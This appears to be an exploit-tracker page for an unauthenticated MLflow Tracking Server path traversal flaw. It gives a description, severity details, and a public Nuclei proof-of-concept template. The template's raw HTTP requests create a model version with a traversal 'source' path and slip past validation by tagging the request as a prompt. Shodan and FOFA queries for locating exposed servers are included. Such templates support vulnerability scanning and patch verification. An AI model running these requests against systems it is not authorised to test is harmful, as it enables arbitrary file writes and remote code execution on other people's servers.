CVE-2025-11201: MLflow Tracking Server - Unauthenticated Model Source Path Traversal RCE

2026-11-12 PoC Public

Description

MLflow Tracking Server is vulnerable to an unauthenticated path traversal in the model-version creation API. The server validates the `source` parameter and rejects relative/local paths, but skips that validation entirely when the request carries the `mlflow.prompt.is_prompt` tag (the request is then treated as a prompt). An unauthenticated attacker can supply an arbitrary traversal path as the model version `source`, writing attacker-controlled files to arbitrary locations on the server filesystem and achieving remote code execution under the service account. The fix adds an opt-in MLFLOW_CREATE_MODEL_VERSION_SOURCE_VALIDATION_REGEX allowlist; with the default (unset) configuration the bypass remains exploitable even on 2.22.4.

Details

CVE
CVE-2025-11201 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2025-11201

info:
  name: MLflow Tracking Server - Unauthenticated Model Source Path Traversal RCE
  author: DhiyaneshDk
  severity: critical
  description: |
    MLflow Tracking Server is vulnerable to an unauthenticated path traversal in the model-version creation API. The server validates the `source` parameter and rejects relative/local paths, but skips that validation entirely when the request carries the `mlflow.prompt.is_prompt` tag (the request is then treated as a prompt). An unauthenticated attacker can supply an arbitrary traversal path as the model version `source`, writing attacker-controlled files to arbitrary locations on the server filesystem and achieving remote code execution under the service account. The fix adds an opt-in MLFLOW_CREATE_MODEL_VERSION_SOURCE_VALIDATION_REGEX allowlist; with the default (unset) configuration the bypass remains exploitable even on 2.22.4.
  impact: |
    Unauthenticated arbitrary file write on the MLflow server, leading to remote code execution under the service account.
  remediation: |
    Upgrade MLflow and set MLFLOW_CREATE_MODEL_VERSION_SOURCE_VALIDATION_REGEX to a strict allowlist that rejects local/relative source paths, and restrict network access to the Tracking Server to trusted users.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11201
    - https://www.zerodayinitiative.com/advisories/ZDI-25-931/
    - https://mallory.ai/vulnerabilities/CVE-2025-11201
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-11201
    epss-score: 0.26282
    epss-percentile: 0.98016
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 3
    shodan-query: 'http.title:"MLflow"'
    fofa-query: 'title="MLflow"'
    product: mlflow
    vendor: lfprojects
  tags: cve,cve2025,mlflow,rce,path-traversal,unauth,intrusive,vkev

variables:
  model: "{{to_lower(rand_text_alpha(12))}}"
  probe: "{{to_lower(rand_text_alpha(10))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{model}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"registered_model"'
        internal: true
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        POST /api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{model}}","source":"/tmp/{{probe}}/../../../../../../../../etc/{{probe}}"}

    matchers:
      - type: word
        part: body
        words:
          - "Invalid model version source"
        internal: true

  - raw:
      - |
        POST /api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{model}}","source":"/tmp/{{probe}}/../../../../../../../../etc/{{probe}}","tags":[{"key":"mlflow.prompt.is_prompt","value":"true"}]}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"model_version"'
          - 'mlflow.prompt.is_prompt'
          - '{{probe}}'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022064828ba18a8dda7c41253dc948cb6025f904d04d5ffc3106a3fef359d67eaed802202086d9971c1f740c30e38464d0ff7103233b8644a1c6ba22450ac3e6c2e7ddba:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life